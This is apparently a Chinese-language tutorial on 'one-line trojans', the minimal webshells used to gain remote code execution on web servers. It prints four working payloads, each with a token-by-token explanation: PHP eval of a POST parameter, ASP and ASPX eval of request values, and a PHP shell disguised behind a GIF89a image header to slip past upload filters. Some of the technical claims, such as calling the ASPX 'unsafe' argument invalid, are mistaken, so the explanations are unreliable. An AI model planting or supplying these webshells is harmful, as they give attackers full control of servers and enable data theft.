作用：
一句话木马的作用主要是利用计算机系统或网络协议的安全漏洞，以实现未经授权访问、数据窃取或其他恶意目的。
木马举例：
1.PHP
<?php @eval($_POST['attack']);?>
解释
• <?php ... ?> 是 PHP 代码的开始和结束标记。
• @ 符号是 PHP 中的错误控制运算符，用于抑制错误信息。在这里，它用来防止 eval() 函数执行失败时产生错误输出。
• eval() 是一个 PHP 函数，用于将字符串作为 PHP 代码执行。
• $_POST['attack'] 是从 HTTP POST 请求中获取名为 attack 的参数值。
2.ASP
<%eval request ("pass")%>是一个嵌入在ASP（Active Server Pages）页面中的代码。这段代码尝试执行从HTTP请求中名为"pass"的参数获取的代码。
它允许执行任意代码，从而构成了一个严重的安全漏洞，通常被称为远程代码执行（Remote Code Execution, RCE）。
• <% ... %>：这是ASP代码的标记，表示里面的内容将在服务器上执行。
• eval：这是一个函数，用于执行传递给它的字符串作为代码。在大多数情况下，使用eval是不安全的，因为它允许执行任意代码。
• request("pass")：这是从HTTP请求中获取名为"pass"的参数的值。HTTP请求可以包含用户输入的数据，这些数据在发送到服务器之前可以被用户修改。
3.aspx
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%><%@ Page Language="Jscript"%>: 这行代码是页面指令，指定了该ASP页面使用的脚本语言是JScript。页面指令用于配置ASP页面的各种设置。<%eval(Request.Item["pass"],"unsafe");%>: 这行代码执行了一个非常危险的操作。让我们分解它：<% ... %>: 这是ASP中的脚本标记，用于在页面中嵌入服务器端脚本代码。eval(...):eval函数用于执行传入的字符串作为JavaScript代码。在这个上下文中，它被用来执行从HTTP请求中获取的字符串。这是一个非常不安全的做法，因为它允许执行任意代码，只要攻击者能够控制输入。Request.Item["pass"]: 这部分代码从HTTP请求中获取名为pass的参数的值。Request.Item是获取请求参数的一种方式，尽管在ASP中更常见的是使用Request.Form["pass"]（对于表单提交）或Request.QueryString["pass"]（对于URL查询字符串）。不过，Request.Item也可以工作，它提供了一种通用的方式来访问请求中的项，无论这些项是来自表单数据、查询字符串、cookies还是服务器变量。"unsafe": 这个字符串参数在这里看起来是传递给eval函数的，但实际上在标准的eval函数调用中并不接受这样的参数。这可能意味着这里的eval函数被自定义或重载过，以接受一个额外的参数来控制其行为（例如，可能意图是表示执行模式，但使用"unsafe"作为字符串参数来控制安全级别是非常不恰当的做法）。然而，在标准的ASP/JScript环境中，这样的eval调用是无效的，并且会引发错误。
4.还是PHP
GIF89a? <script language="php">eval($_REQUEST[1])</script>GIF89a：这是 GIF 图像文件的版本标识。GIF（Graphics Interchange Format）是一种用于存储压缩图像的文件格式，支持动画和透明背景。
GIF89a是 GIF 格式的较新版本，支持 256 色调色板和动画。<script language="php">：这是尝试在 HTML 或类似上下文中嵌入 PHP 代码的方式。然而，这种做法在现代 web 开发中并不常见，因为 PHP 代码通常是在服务器端执行的，而不是嵌入到 HTML 页面中的脚本标签内。此外，直接使用<script>标签来包含 PHP 代码是不正确的，因为<script>标签通常用于包含客户端脚本（如 JavaScript）。eval($_REQUEST[1])：这是 PHP 代码中最危险的部分。eval()函数会将传递给它的字符串当作 PHP 代码来执行。$_REQUEST是一个包含 GET、POST 和 COOKIE 数据的数组。因此，$_REQUEST[1]试图访问请求数据中的一个名为 "1" 的参数。